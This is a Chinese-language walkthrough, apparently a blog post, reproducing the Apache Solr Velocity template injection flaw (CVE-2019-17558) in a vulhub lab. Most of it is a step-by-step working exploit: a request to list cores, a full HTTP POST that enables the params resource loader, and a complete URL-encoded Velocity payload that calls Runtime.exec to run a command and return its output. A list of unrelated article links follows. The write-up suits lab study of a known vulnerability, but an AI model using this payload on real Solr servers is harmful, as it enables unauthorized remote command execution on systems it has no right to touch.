vulhub中Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

2.通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称:

复制代码
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3.注入Velocity模板即可执行任意命令:

复制代码
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关推荐
四方云6 小时前
MySQL 迁移到 Apache Doris 生产实践:从评估到落地的完整指南
数据库·mysql·apache
小羊Yveesss6 小时前
2026年商城小程序开发属于什么费用?
apache
大厂数码评测员7 小时前
2026 年家庭菜谱记录工具怎么选:从功能边界和小程序代码实现看免费与付费差异
java·开发语言·apache
渣渣盟1 天前
Apache Flink物理分区算子全解析
大数据·flink·apache
Shadow(⊙o⊙)1 天前
linux基础指令2.0
linux·运维·服务器·学习·apache
risc1234562 天前
【lucene】PostingsEnum跟TermsEnum 的区别是啥?
java·lucene
risc1234562 天前
SegmentTermsEnum#postings 和 IntersectTermsEnum#postings
算法·lucene
运维全栈笔记4 天前
Linux安装配置Tomcat保姆级教程:从部署到性能调优
linux·服务器·中间件·tomcat·apache·web
❀͜͡傀儡师4 天前
Apache Doris 4.0.0 存算分离手动部署指南
apache·doris 4.0
星辰徐哥5 天前
Unity基础:游戏对象的激活与隐藏:SetActive方法详解
游戏·unity·lucene